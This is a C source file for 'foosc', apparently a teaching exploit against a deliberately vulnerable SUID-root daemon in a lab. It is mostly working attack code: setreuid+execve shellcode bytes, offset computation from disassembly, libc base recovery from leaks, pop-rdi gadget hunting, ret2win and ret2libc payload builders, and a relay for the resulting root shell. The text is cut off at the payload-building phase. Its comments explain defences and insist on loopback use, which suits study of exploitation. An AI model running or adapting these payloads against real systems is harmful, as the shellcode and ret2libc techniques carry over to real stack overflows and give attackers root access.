foo/suid/foosc.c
2026-09-29 09:39:24 +02:00

1142 lines
No EOL
42 KiB
C

/*
* ============================================================================
* foosc.c -- "foosc": the exploit for the SUID-root daemon `foosd`
* ============================================================================
*
* PURPOSE
* -------
* `foosc` connects to `foosd`, reads the leaks it publishes, and builds a
* payload that overwrites the saved return address on `foosd`'s stack. When
* foosd is running SETUID ROOT (which `make setuid` arranges), the resulting
* shell runs with euid 0: this is RCE that ends in a *root* shell.
*
* The technique that gets root is the default and the star of the show:
*
* TECHNIQUE: shellcode
* -------------
* The payload is 32 bytes of raw machine code that does
*
* setreuid(0, 0) ; ALSO clear the real uid -- see below
* execve("/bin/sh", 0, 0) ; become a shell
*
* It is placed on foosd's stack and the hijacked `ret` jumps to it. The
* setreuid is not optional. bash (and dash) compare euid against ruid at
* startup and RESET euid = ruid whenever the two differ, so a plain
* execve("/bin/sh") out of a setuid process would give you a shell that
* swiftly forgets it was root. setreuid(0,0) makes both ids 0, the shell
* sees equal uids, and root survives. (Why ruid matters is explained in
* the comement blocks around SHELLCODE[] and in README.md.)
*
* Other techniques are included for comparison, and each is a lesson:
*
* ret2win jump to foosd's `win()`. It execs /bin/sh WITHOUT
* clearing ruid, so you get a shell that is NOT root
* -- the shell's own privilege guard robbed you. This is
* exactly what happens to naive "SUID + system()" code.
* ret2win-root jump to foosd's `win_root()`, which calls
* setreuid(0,0) from C first. ROOT shell, no shellcode.
* ret2libc call system("/bin/sh"). system() runs the command in a
* fresh /bin/sh, which -- same guard -- drops the
* effective id: a shell, but NOT root.
* leak just print what the daemon tells us, send no payload.
* demo overflow with 'A's only: proves the bug via SIGSEGV.
*
* THE SUID STATE IS PART OF THE PROTOCOL
* --------------------------------------
* The daemon's banner includes "ids=euid/ruid". foosc prints a loud warning
* when euid is not 0, i.e. when you have not run `sudo make setuid` yet --
* without the bit, everything below still works, but the shell is a plain
* user shell and thinking the exploit "failed" would be wrong.
*
* SAFETY
* ------
* Defaults to 127.0.0.1:2343. This lab produces ROOT shells on the machine
* it runs against. Point it at anything you do not own and you are
* committing a computer-intrusion offence. Don't.
*
* Build: make foosc
* Usage: ./foosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v]
*
* THE SHELL IS ON THE VICTIM
* --------------------------
* Like fooc before it, this program never spawns a local shell. After the
* payload lands there is exactly one shell, running inside foosd's hijacked
* (root) process with the TCP connection as its stdio. This side only
* relays bytes -- see become_shell() for the story of why that is the only
* correct design.
* ============================================================================
*/
/* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): "127.0.0.1" -> 4 bytes. */
#include <ctype.h> /* isspace()/isxdigit() for parsing. */
#include <dlfcn.h> /* dlsym(): find a symbol's address in OUR libc. */
#include <errno.h> /* errno / strerror(). */
#include <fcntl.h> /* open(), O_NONBLOCK. */
#include <netinet/in.h> /* struct sockaddr_in, htons(). */
#include <poll.h> /* poll(): multiplex the terminal and the socket. */
#include <stdint.h> /* uint64_t. */
#include <stdio.h> /* printf and friends. */
#include <stdlib.h> /* exit(), malloc(), strtoul(). */
#include <string.h> /* memcpy(), strstr(), memmem(). */
#include <sys/socket.h> /* socket(), connect(), shutdown(). */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/wait.h> /* waitpid(): reap the relay child when the session
* ends. */
#include <unistd.h> /* read, write, close, dup2, usleep, _exit. */
/* ------------------------------------------------------------------------- */
/* Defaults */
/* ------------------------------------------------------------------------- */
#define FOOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */
#define FOOSC_PORT 2343 /* Must match foosd's -p. */
#define FOOSC_BIN "./foosd" /* The target binary, for static analysis. */
/* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based
* copy; instantly recognisable in a crash dump as 0x4141414141414141. */
#define PAD_BYTE 0x41
/* Upper bound on banner/leak text we tolerate. */
#define RECV_MAX 4096
/* ------------------------------------------------------------------------- */
/* x86-64 shellcode -- the setreuid + execve payload */
/* ------------------------------------------------------------------------- */
/*
* 32 bytes of machine code, byte-for-byte what shellcode.S assembles to.
*
* setreuid(0, 0) ; ruid = 0 AND euid = 0
* execve("/bin/sh",0,0) ; become a root shell
*
* 31 ff xor edi, edi ; ruid = 0
* 31 f6 xor esi, esi ; euid = 0
* 6a 71 push 0x71 ; 113 = setreuid
* 58 pop rax
* 0f 05 syscall
* 31 f6 xor esi, esi ; argv = NULL
* 31 d2 xor edx, edx ; envp = NULL
* 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f
* 73 68 00 ; rdi = "/bin/sh\0"
* 57 push rdi ; string onto the stack
* 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh"
* 6a 3b push 0x3b ; 59 = execve
* 58 pop rax
* 0f 05 syscall
*
* WHY setreuid AND NOT setuid -- this comment is the whole lab in miniature:
*
* execve leaves uids alone. A setuid-root process therefore execs /bin/sh
* with (ruid=user, euid=0). bash notices the mismatch at startup and, in
* the absence of -p, sets euid = ruid -- the shell's built-in guard against
* exactly this attack. setuid(0) alone also loses, because it only changes
* euid, so the mismatch survives. setreuid(0,0) changes BOTH, giving the
* shell equal ids to start from, and root persists. Compare with foosd's
* win() (no root) against win_root() (root) for the same lesson in C.
*
* Note there is deliberately no `ret` at the end: execve replaces the whole
* process image and never returns.
*/
static const unsigned char SHELLCODE[] = {
0x31, 0xff, /* xor edi, edi */
0x31, 0xf6, /* xor esi, esi */
0x6a, 0x71, /* push 0x71 (setreuid) */
0x58, /* pop rax */
0x0f, 0x05, /* syscall */
0x31, 0xf6, /* xor esi, esi */
0x31, 0xd2, /* xor edx, edx */
0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low) */
0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high+NUL) */
0x57, /* push rdi */
0x48, 0x89, 0xe7, /* mov rdi, rsp */
0x6a, 0x3b, /* push 0x3b (execve) */
0x58, /* pop rax */
0x0f, 0x05 /* syscall */
};
#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE)))
/* ------------------------------------------------------------------------- */
/* Results of analysing the target binary and our own libc */
/* ------------------------------------------------------------------------- */
struct bininfo {
unsigned long vuln_addr; /* Address of foosd's vulnerable_handler(). */
unsigned long win_addr; /* Address of foosd's win() (non-root shell).*/
unsigned long win_root_addr;/* Address of win_root() (root shell).. */
unsigned long frame_off; /* buf's distance below rbp, from the disasm. */
unsigned long rip_off; /* buf -> saved return address. THE key. */
unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */
};
struct libcinfo {
unsigned long base; /* libc base in OUR process. */
unsigned long off_system; /* offset of system() */
unsigned long off_read; /* offset of read() -- matches the leak */
unsigned long off_binsh; /* offset of the "/bin/sh" string */
unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */
};
struct leaks {
unsigned long stack; /* A stack address (informational). */
unsigned long libc_read; /* Real address of read() in target's libc. */
unsigned long buf; /* Address of foosd's `buf`. The whole game. */
int euid; /* Target's effective uid (from banner). */
int ruid; /* Target's real uid. */
};
/* ------------------------------------------------------------------------- */
/* Step 1: static analysis of the target binary via objdump */
/* ------------------------------------------------------------------------- */
/*
* Why parse disassembly instead of hardcoding the offset? Because the number
* (88 for this build) is a property of the compilation, not of the bug.
* Rebuild with another compiler version or another local variable and it
* changes; a hardcoded offset is the classic reason exploits die after a
* rebuild. Computing it keeps the exploit honest and it is what a real
* analyst actually does.
*
* GCC -O0 on x86-64 emits for the target function:
* push %rbp ; mov %rsp,%rbp ; sub $N,%rsp
* lea -OFF(%rbp),%reg <- the buffer, passed to read()
* so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is
* 8 bytes further up: rip_off = OFF + 8
*/
static int analyse_binary(const char *path, struct bininfo *out)
{
char cmd[512];
char line[1024];
FILE *pp;
int in_vuln = 0;
int saw_read = 0;
int have_off = 0;
long best_off = 0;
int status;
memset(out, 0, sizeof(*out));
/* objdump is guaranteed present because the lab builds with it. */
snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null",
path);
pp = popen(cmd, "r");
if (pp == NULL) {
fprintf(stderr, "foosc: cannot run objdump: %s\n", strerror(errno));
return -1;
}
while (fgets(line, sizeof(line), pp) != NULL) {
/* --- Function boundaries: "0000000000401535 <win>:" ---------- */
if (strstr(line, "<vulnerable_handler>:") != NULL) {
in_vuln = 1;
sscanf(line, "%lx", &out->vuln_addr);
continue;
}
if (strstr(line, "<win_root>:") != NULL) {
/* Longer name; check it FIRST so it is not confused. */
sscanf(line, "%lx", &out->win_root_addr);
continue;
}
if (strstr(line, "<win>:") != NULL) {
sscanf(line, "%lx", &out->win_addr);
continue;
}
/* Any other "<label>:" line closes the vulnerable function. */
if (in_vuln && strchr(line, '<') != NULL && strstr(line, ">:") != NULL) {
in_vuln = 0;
continue;
}
/* Remember the first whole `ret` mnemonic anywhere: ret sleds and
* the 16-byte-alignment fix both need one. */
if (out->ret_gadget == 0) {
unsigned long a = 0;
const char *colon = strchr(line, ':');
if (sscanf(line, "%lx", &a) == 1 && colon != NULL) {
const char *p = colon + 1;
while (*p == ' ' || *p == '\t')
p++;
if (strncmp(p, "ret", 3) == 0 &&
(p[3] == '\0' || p[3] == '\n' ||
p[3] == ' ' || p[3] == '\t'))
out->ret_gadget = a;
}
}
if (!in_vuln)
continue;
/* --- The vulnerable read: "call ... <read@plt>" ------------- */
if (strstr(line, "<read@plt>") != NULL) {
saw_read = 1;
continue;
}
/* --- The buffer reference: "lea -0x50(%rbp),%rcx" ----------- */
/* Accept only a lea BEFORE the read call (that disambiguates `buf`
* from the other local array), and take the first one. */
if (!saw_read && !have_off) {
const char *p = strstr(line, "%rbp)");
if (p != NULL && strstr(line, "lea") != NULL) {
const char *q = line;
char disp[32];
int d = 0;
while (q < p && *q != '-')
q++;
if (q < p) {
const char *h = q;
while (h < p && d < (int)sizeof(disp) - 1) {
if (isxdigit((unsigned char)*h) || *h == '-' ||
*h == 'x' || *h == '+')
disp[d++] = *h++;
else
break;
}
disp[d] = '\0';
if (d > 0) {
/* The disassembly shows "-0x50"; strtol returns -80.
* We want the DISTANCE below rbp, so take abs(). */
best_off = labs(strtol(disp, NULL, 0));
have_off = 1;
}
}
}
}
}
status = pclose(pp);
(void)status;
if (out->vuln_addr == 0 || out->win_addr == 0 || out->win_root_addr == 0 ||
!have_off) {
fprintf(stderr,
"foosc: could not fully analyse '%s'.\n"
" vuln=0x%lx win=0x%lx win_root=0x%lx buf_off=%ld\n"
" Is this really the foosd binary? Is objdump installed?\n",
path, out->vuln_addr, out->win_addr, out->win_root_addr,
best_off);
return -1;
}
out->frame_off = (unsigned long)best_off;
if (best_off < 0) {
fprintf(stderr,
"foosc: buffer displacement parsed as %ld; refusing to guess.\n",
best_off);
return -1;
}
/*
* THE key computation: buf is `best_off` bytes below the saved frame
* pointer, and the saved return address is 8 bytes above the frame
* pointer, so the distance from buf to the return address is:
*/
out->rip_off = (unsigned long)best_off + 8UL;
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 2: introspect our own libc for the offsets we need */
/* ------------------------------------------------------------------------- */
/*
* The target's libc base is unknown (ASLR), but it is the SAME library we
* are linked against, so we measure offsets HERE and add them to the target's
* base derived from the leaked `read` address:
*
* food_base = leaked_read - off_read
* system = food_base + off_system
*
* This delta-arithmetic is how real exploits stay alive across libc updates,
* and it is exactly why "rebase the binaries" is a real mitigation.
*/
static int analyse_libc(struct libcinfo *out)
{
FILE *f;
char line[512];
unsigned long lo, hi;
unsigned long rx_lo = 0, rx_hi = 0;
unsigned long ro_lo[32], ro_hi[32];
int n_ro = 0;
int memfd;
void *p;
memset(out, 0, sizeof(*out));
/* ---- 2a. Find libc's mappings in OUR address space (identical file). */
f = fopen("/proc/self/maps", "r");
if (f == NULL) {
fprintf(stderr, "foosc: cannot open /proc/self/maps: %s\n",
strerror(errno));
return -1;
}
while (fgets(line, sizeof(line), f) != NULL) {
if (strstr(line, "libc.so.6") == NULL)
continue;
if (sscanf(line, "%lx-%lx", &lo, &hi) != 2)
continue;
/* The lowest libc mapping IS the load base. */
if (out->base == 0 || lo < out->base)
out->base = lo;
/* Executable text: where functions and gadgets live. */
if (strstr(line, "r-xp") != NULL) {
rx_lo = lo;
rx_hi = hi;
}
/* Read-only data: where "/bin/sh" as a constant lives. */
if (strstr(line, "r--p") != NULL && n_ro < 32) {
ro_lo[n_ro] = lo;
ro_hi[n_ro] = hi;
n_ro++;
}
}
fclose(f);
if (out->base == 0 || rx_hi == 0) {
fprintf(stderr, "foosc: could not locate libc in /proc/self/maps\n");
return -1;
}
/* ---- 2b. dlsym() the two function offsets. ------------------------ */
p = dlsym(RTLD_DEFAULT, "system");
if (p == NULL) { fprintf(stderr, "foosc: no system()\n"); return -1; }
out->off_system = (unsigned long)p - out->base;
p = dlsym(RTLD_DEFAULT, "read");
if (p == NULL) { fprintf(stderr, "foosc: no read()\n"); return -1; }
out->off_read = (unsigned long)p - out->base;
/* ---- 2c. Hunt for a `pop rdi ; ret` gadget in the live text. ----- */
memfd = open("/proc/self/mem", O_RDONLY);
if (memfd < 0) {
fprintf(stderr, "foosc: cannot open /proc/self/mem: %s\n",
strerror(errno));
return -1;
}
/* `pop rdi; ret` is the 2-byte sequence 5f c3. It turns ROP into
* "call any function with one argument". The mapping offsets and file
* offsets differ (segment load bias), so we scan live memory. */
{
size_t sz = (size_t)(rx_hi - rx_lo);
unsigned char *text = malloc(sz);
if (text == NULL) { close(memfd); return -1; }
if (pread(memfd, text, sz, (off_t)rx_lo) == (ssize_t)sz) {
unsigned char *hit = memmem(text, sz, "\x5f\xc3", 2);
if (hit != NULL)
out->off_poprdi = (unsigned long)(hit - text)
+ (rx_lo - out->base);
}
free(text);
}
/* ---- 2d. Find the "/bin/sh" string in the read-only segments. ---- */
for (int i = 0; i < n_ro && out->off_binsh == 0; i++) {
size_t sz = (size_t)(ro_hi[i] - ro_lo[i]);
unsigned char *ro = malloc(sz);
if (ro == NULL)
break;
if (pread(memfd, ro, sz, (off_t)ro_lo[i]) == (ssize_t)sz) {
unsigned char *hit = memmem(ro, sz, "/bin/sh", 7);
if (hit != NULL)
out->off_binsh = (unsigned long)(hit - ro)
+ (ro_lo[i] - out->base);
}
free(ro);
}
close(memfd);
if (out->off_poprdi == 0 || out->off_binsh == 0) {
fprintf(stderr,
"foosc: failed to locate gadgets/strings in libc\n");
return -1;
}
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 3: networking */
/* ------------------------------------------------------------------------- */
static int connect_to(const char *host, int port)
{
struct sockaddr_in sa;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
fprintf(stderr, "foosc: socket: %s\n", strerror(errno));
return -1;
}
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) {
fprintf(stderr, "foosc: bad address '%s'\n", host);
close(fd);
return -1;
}
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
fprintf(stderr, "foosc: connect %s:%d: %s\n",
host, port, strerror(errno));
close(fd);
return -1;
}
return fd;
}
/* send_all() -- write a whole buffer to a blocking socket, looping over the
* short writes a stream may legitimately produce. */
static int send_all(int fd, const void *buf, size_t n)
{
const unsigned char *p = buf;
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, p + sent, n - sent);
if (w < 0) {
if (errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return 0;
}
/* write_nb() -- like send_all but for a NON-BLOCKING descriptor: retry on
* EAGAIN after poll() says the descriptor can take more. Used only by the
* relay loop, which must stay responsive. */
static int write_nb(int fd, const void *buf, size_t n)
{
const unsigned char *p = buf;
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, p + sent, n - sent);
if (w > 0) {
sent += (size_t)w;
continue;
}
if (w < 0 && errno == EINTR)
continue;
if (w < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
struct pollfd pfd;
pfd.fd = fd;
pfd.events = POLLOUT;
pfd.revents = 0;
if (poll(&pfd, 1, 1000) <= 0)
return -1;
continue;
}
return -1;
}
return 0;
}
/* read_until() -- read until every pattern in `pats` has been seen, or we
* run out of buffer / patience. Re-scans the whole buffer after each read so
* a banner split across TCP segments cannot fool us. */
static int read_until(int fd, const char *const *pats, int npats, char *out,
size_t outsz)
{
size_t got = 0;
int missing = npats;
while (missing > 0 && got + 1 < outsz && got < RECV_MAX) {
ssize_t r = read(fd, out + got, outsz - got - 1);
if (r <= 0) {
if (r < 0 && errno == EINTR)
continue;
break;
}
got += (size_t)r;
out[got] = '\0';
missing = 0;
for (int i = 0; i < npats; i++)
if (strstr(out, pats[i]) == NULL)
missing++;
}
out[got < outsz ? got : outsz - 1] = '\0';
return (missing == 0) ? 0 : -1;
}
/* parse_leaks() -- pull euid/ruid and the three hex addresses out of the
* banner. The wire formats are:
*
* FOOSD 1.0 ids=0/1000 leak stack=0x... libc=0x...
* BUF=0x...
*
* "ids=euid/ruid" is the SUID health indicator. It is spelled "ids=" (not
* "euid="/"ruid=") so the test harness's "uid=" check stays unambiguous. */
static int parse_leaks(const char *text, struct leaks *out)
{
const char *p;
memset(out, 0, sizeof(*out));
p = strstr(text, "ids=");
if (p != NULL)
(void)sscanf(p + 4, "%d/%d", &out->euid, &out->ruid);
if ((p = strstr(text, "stack=")) != NULL)
out->stack = strtoul(p + 6, NULL, 0);
if ((p = strstr(text, "libc=")) != NULL)
out->libc_read = strtoul(p + 5, NULL, 0);
if ((p = strstr(text, "BUF=")) != NULL)
out->buf = strtoul(p + 4, NULL, 0);
if (out->libc_read == 0 || out->buf == 0) {
fprintf(stderr,
"foosc: the daemon did not leak what we expected "
"(stack=%#lx libc=%#lx BUF=%#lx).\n"
" Is ./foosd v1.0 the running binary?\n",
out->stack, out->libc_read, out->buf);
return -1;
}
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 4: payload construction */
/* ------------------------------------------------------------------------- */
/* A growable byte buffer for building the payload. */
struct pbuf {
unsigned char *data;
size_t len;
size_t cap;
};
static int pbuf_reserve(struct pbuf *p, size_t extra)
{
if (p->len + extra <= p->cap)
return 0;
size_t ncap = p->cap ? p->cap * 2 : 256;
while (ncap < p->len + extra)
ncap *= 2;
unsigned char *nd = realloc(p->data, ncap);
if (nd == NULL)
return -1;
p->data = nd;
p->cap = ncap;
return 0;
}
static int pbuf_u8(struct pbuf *p, unsigned char b)
{
if (pbuf_reserve(p, 1) < 0)
return -1;
p->data[p->len++] = b;
return 0;
}
/* Little-endian 64-bit word, written byte by byte so the byte order is
* explicit and the exploit builds identically on any host. */
static int pbuf_u64(struct pbuf *p, unsigned long v)
{
for (int i = 0; i < 8; i++)
if (pbuf_u8(p, (unsigned char)((v >> (8 * i)) & 0xffUL)) < 0)
return -1;
return 0;
}
static int pbuf_pad(struct pbuf *p, size_t n)
{
if (pbuf_reserve(p, n) < 0)
return -1;
memset(p->data + p->len, PAD_BYTE, n);
p->len += n;
return 0;
}
/* ------------------------------------------------------------------------- */
/* Step 5: the shell (relay edition -- see become_shell for the full story) */
/* ------------------------------------------------------------------------- */
/* drain_hint() -- non-blockingly show whatever the daemon said before we
* hand the terminal to the victim shell, so a failed payload's "no hijack"
* message is visible rather than eaten. */
static void drain_hint(int fd)
{
char buf[1024];
int flags = fcntl(fd, F_GETFL, 0);
ssize_t n;
if (flags == -1)
return;
fcntl(fd, F_SETFL, flags | O_NONBLOCK);
n = read(fd, buf, sizeof(buf) - 1);
if (n > 0) {
buf[n] = '\0';
fputs(buf, stdout);
fflush(stdout);
}
fcntl(fd, F_SETFL, flags);
}
/* relay_stdio() -- one poll() loop splices terminal <-> socket. A single
* process means strict alternation, so the two directions can never
* interleave mid-line (the failure mode of the two-fork version, which split
* `uname` output in half). Both descriptors are made non-blocking so poll()
* tells us when each can be serviced. */
static void relay_stdio(int sock)
{
struct pollfd pfd[2];
char buf[4096];
int saved[2] = { -1, -1 };
int saved_sock;
for (int i = 0; i < 2; i++) {
saved[i] = fcntl(i, F_GETFL, 0);
if (saved[i] != -1)
fcntl(i, F_SETFL, saved[i] | O_NONBLOCK);
}
saved_sock = fcntl(sock, F_GETFL, 0);
if (saved_sock != -1)
fcntl(sock, F_SETFL, saved_sock | O_NONBLOCK);
pfd[0].fd = STDIN_FILENO;
pfd[0].events = POLLIN;
pfd[1].fd = sock;
pfd[1].events = POLLIN;
for (;;) {
int n = poll(pfd, 2, -1);
ssize_t r;
if (n < 0) {
if (errno == EINTR)
continue;
break;
}
if (n == 0)
continue;
if (pfd[0].revents & POLLIN) {
r = read(STDIN_FILENO, buf, sizeof(buf));
if (r > 0) {
if (write_nb(sock, buf, (size_t)r) < 0)
break;
} else if (r == 0) {
/* Terminal EOF: half-close the socket so the remote shell
* sees end-of-input and exits on its own. */
shutdown(sock, SHUT_WR);
break;
}
}
if (pfd[1].revents & (POLLIN | POLLHUP | POLLERR)) {
r = read(sock, buf, sizeof(buf));
if (r > 0) {
if (write_nb(STDOUT_FILENO, buf, (size_t)r) < 0)
break;
} else {
break;
}
}
}
for (int i = 0; i < 2; i++)
if (saved[i] != -1)
fcntl(i, F_SETFL, saved[i]);
if (saved_sock != -1)
fcntl(sock, F_SETFL, saved_sock);
}
/*
* become_shell() -- after the payload lands, the victim process IS a shell
* (its stdio are the socket) and only one shell exists in the whole picture:
* on the victim, as ROOT. All this side must do is move bytes:
*
* terminal <-> TCP socket <-> foosd's root /bin/sh
*
* The history is instructive and is in fooc.c too: version 1 dup2'd the
* socket onto our own stdio and exec'd a LOCAL shell (deaf and mute);
* version 2 forked a relay alongside a local login shell, and the login
* shell vacuumed exactly one byte off the head of every incoming chunk
* (symptom: "uid=1000(hanez)" printed as "id=1000(hanez)"). A descriptor
* has ONE read cursor; it must have exactly ONE reader. Hence: no local
* shell, no second reader. Just bytes.
*/
static void become_shell(int fd)
{
pid_t relay;
printf("foosc: shell is on the victim (root if foosd is SUID); relaying\n");
relay = fork();
if (relay < 0) {
fprintf(stderr, "\nfoosc: fork() failed: %s\n", strerror(errno));
return;
}
if (relay == 0) {
relay_stdio(fd);
_exit(0);
}
for (;;) {
int status;
pid_t r = waitpid(relay, &status, 0);
if (r == relay)
break;
if (r < 0 && errno == EINTR)
continue;
if (r < 0) {
fprintf(stderr, "\nfoosc: waitpid: %s\n", strerror(errno));
break;
}
}
close(fd);
printf("\nfoosc: session closed.\n");
}
/* ------------------------------------------------------------------------- */
/* The techniques */
/* ------------------------------------------------------------------------- */
/* TECHNIQUE 1 -- ret2win: jump to win(). Gives a shell, but (see the big
* comment in foosd.c) bash resets euid = ruid, so NOT a root shell. The
* technique proves control-flow hijack, and doubles as the "why naive
* SUID+system() fails" exhibit. */
static void build_ret2win(struct pbuf *p, const struct bininfo *bi)
{
pbuf_pad(p, bi->rip_off);
pbuf_u64(p, bi->win_addr); /* -> win(): /bin/sh, uid stays user. */
}
/* TECHNIQUE 1b -- ret2win-root: jump to win_root(), the backdoor that does
* setreuid(0,0) before execl. One line of C is the difference between a
* demoted shell and a root shell. */
static void build_ret2win_root(struct pbuf *p, const struct bininfo *bi)
{
pbuf_pad(p, bi->rip_off);
pbuf_u64(p, bi->win_root_addr); /* -> win_root(): /bin/sh, uid 0. */
}
/* TECHNIQUE 2 -- ret2libc: system("/bin/sh"). Works, gives a shell ...
* and, same guard, NOT a root one (system() runs the command in a fresh
* /bin/sh which drops the effective id). Included so you can see for
* yourself that "call a libc function" is no shortcut past the shell's
* privilege guard. */
static void build_ret2libc(struct pbuf *p, const struct bininfo *bi,
const struct libcinfo *li, const struct leaks *lk)
{
unsigned long base = lk->libc_read - li->off_read;
unsigned long system = base + li->off_system;
unsigned long binsh = base + li->off_binsh;
unsigned long poprdi = base + li->off_poprdi;
printf("foosc: libc base = %#lx\n", base);
printf("foosc: system = %#lx\n", system);
printf("foosc: \"/bin/sh\" = %#lx\n", binsh);
printf("foosc: pop rdi;ret= %#lx\n", poprdi);
pbuf_pad(p, bi->rip_off);
pbuf_u64(p, poprdi); /* gadget: load next word into rdi */
pbuf_u64(p, binsh); /* argument to system() */
pbuf_u64(p, system); /* the function to call */
}
/*
* TECHNIQUE 3 -- shellcode (the one that gets root)
* -------------------------------------------------
* The payload IS the program. 32 bytes of machine code sit at the start of
* `buf`; the overwritten return address points back at them. When the CPU
* `ret`s into buf, it starts executing our instructions -- setreuid(0,0)
* then execve("/bin/sh") -- inside a process whose euid is 0.
*
* NX (W^X) is the reason this is special and rare: the target only executes
* the stack because foosd was built with -z execstack. On a hardened build
* this payload is a SIGSEGV and only techniques 1/2 (running code that
* already exists) remain. See README.md's mitigation table.
*/
static void build_shellcode(struct pbuf *p, const struct bininfo *bi,
const struct leaks *lk)
{
printf("foosc: placing %d bytes of shellcode at %#lx\n",
SHELLCODE_LEN, lk->buf);
for (int i = 0; i < SHELLCODE_LEN; i++)
pbuf_u8(p, SHELLCODE[i]);
size_t used = SHELLCODE_LEN;
if (bi->rip_off > used)
pbuf_pad(p, bi->rip_off - used);
/* RIP must land on the first byte of our code. */
pbuf_u64(p, lk->buf);
}
/* OVERFLOW DEMO -- junk only. Fills buf, clobbers the saved rbp and the
* return address with 0x4141414141414141, which is certainly not mapped:
* SIGSEGV, and the daemon's crash reporter logs RIP=0x4141... as proof. */
static void build_demo(struct pbuf *p, const struct bininfo *bi)
{
pbuf_pad(p, bi->rip_off + 8);
}
/* ------------------------------------------------------------------------- */
/* main() */
/* ------------------------------------------------------------------------- */
static void usage(const char *a0)
{
printf(
"foosc -- exploit for the intentionally vulnerable SUID daemon 'foosd'\n"
"\n"
"usage: %s [options]\n"
"\n"
" -h HOST target address (default %s)\n"
" -p PORT target port (default %d)\n"
" -b PATH target binary to analyse (default %s)\n"
" -t TECH technique:\n"
" shellcode setreuid+execve shellcode -> ROOT shell [default]\n"
" ret2win jump to win() (shell, but NOT root: bash guard)\n"
" ret2win-root jump to win_root() (setreuid from C -> root)\n"
" ret2libc system(\"/bin/sh\") (shell, but NOT root)\n"
" demo overflow with junk only, expect SIGSEGV\n"
" leak just print the leaks, send no payload\n"
" -i / -n interactive shell (default) / no shell, just send and report\n"
" -v verbose: dump every address\n"
"\n"
"To get the ROOT shell, foosd must be setuid-root:\n"
" sudo make setuid\n"
"Then run the daemon and fire this at it. Loopback only, please.\n",
a0, FOOSC_HOST, FOOSC_PORT, FOOSC_BIN);
}
int main(int argc, char **argv)
{
const char *host = FOOSC_HOST;
const char *binpath = FOOSC_BIN;
const char *tech = "shellcode"; /* SUID lab: shellcode is the point. */
int port = FOOSC_PORT;
int verbose = 0;
int want_shell = -1; /* -i / -n */
int fd;
int o;
struct bininfo bi;
struct libcinfo li;
struct leaks lk;
struct pbuf p = { NULL, 0, 0 };
char rx[RECV_MAX];
int is_leak = 0;
while ((o = getopt(argc, argv, ":h:p:b:t:inv")) != -1) {
switch (o) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'b': binpath = optarg; break;
case 't': tech = optarg; break;
case 'i': want_shell = 1; break;
case 'n': want_shell = 0; break;
case 'v': verbose = 1; break;
default: usage(argv[0]); return 2;
}
}
/* ---- Phase 1: learn everything we can without touching the network. */
if (analyse_binary(binpath, &bi) < 0)
return 1;
if (analyse_libc(&li) < 0)
return 1;
printf("foosc: target binary : %s\n", binpath);
printf("foosc: vulnerable_handler = %#lx\n", bi.vuln_addr);
printf("foosc: win() = %#lx\n", bi.win_addr);
printf("foosc: win_root() = %#lx\n", bi.win_root_addr);
long rbp_off_as_signed = -(long)bi.frame_off;
printf("foosc: buf is at rbp%+ld, so the saved RIP is %lu bytes in\n",
rbp_off_as_signed, bi.rip_off);
printf("foosc: ret gadget = %#lx\n", bi.ret_gadget);
printf("foosc: our libc base = %#lx\n", li.base);
/* Decide whether we want the interactive shell by default. */
if (strcmp(tech, "demo") == 0 || strcmp(tech, "leak") == 0) {
is_leak = (strcmp(tech, "leak") == 0);
if (want_shell == -1) want_shell = 0;
} else if (want_shell == -1) {
want_shell = 1;
}
/* ---- Phase 2: connect and read what the daemon tells us. ----------- */
fd = connect_to(host, port);
if (fd < 0)
return 1;
{
const char *pats[4] = { "ids=", "stack=", "libc=", "BUF=" };
if (read_until(fd, pats, 4, rx, sizeof(rx)) < 0)
fprintf(stderr, "foosc: warning: incomplete banner/leak text\n");
}
if (parse_leaks(rx, &lk) < 0) {
close(fd);
return 1;
}
printf("foosc: daemon banner (ids=euid/ruid):\n----\n%s----\n", rx);
printf("foosc: target euid=%d ruid=%d\n", lk.euid, lk.ruid);
/*
* THE SUID CHECK. If euid is not 0, foosd is not setuid-root and there
* will be no root shell no matter how cleanly the payload lands. Say so
* loudly now, so a "non-root shell" later is not mistaken for a broken
* exploit. (Note: a non-root shell is still RCE, just not privilege
* escalation -- the two are worth distinguishing in your head too.)
*/
if (lk.euid != 0) {
fprintf(stderr,
"\nfoosc: WARNING: the daemon is NOT running with euid 0.\n"
" The payload will still land, but the shell will be\n"
" a plain user shell, not root.\n"
" Fix: sudo make setuid\n"
" then restart foosd.\n\n");
} else {
printf("foosc: target is running setuid-root; a shellcode session\n"
" (or ret2win-root) should yield uid=0(root).\n");
}
printf("foosc: leaked stack ptr = %#lx\n", lk.stack);
printf("foosc: leaked libc read = %#lx\n", lk.libc_read);
printf("foosc: leaked buf = %#lx\n", lk.buf);
if (is_leak) {
printf("foosc: leak mode -- not sending a payload.\n");
close(fd);
return 0;
}
/* ---- Phase 3: build the payload. ---------------------------------- */
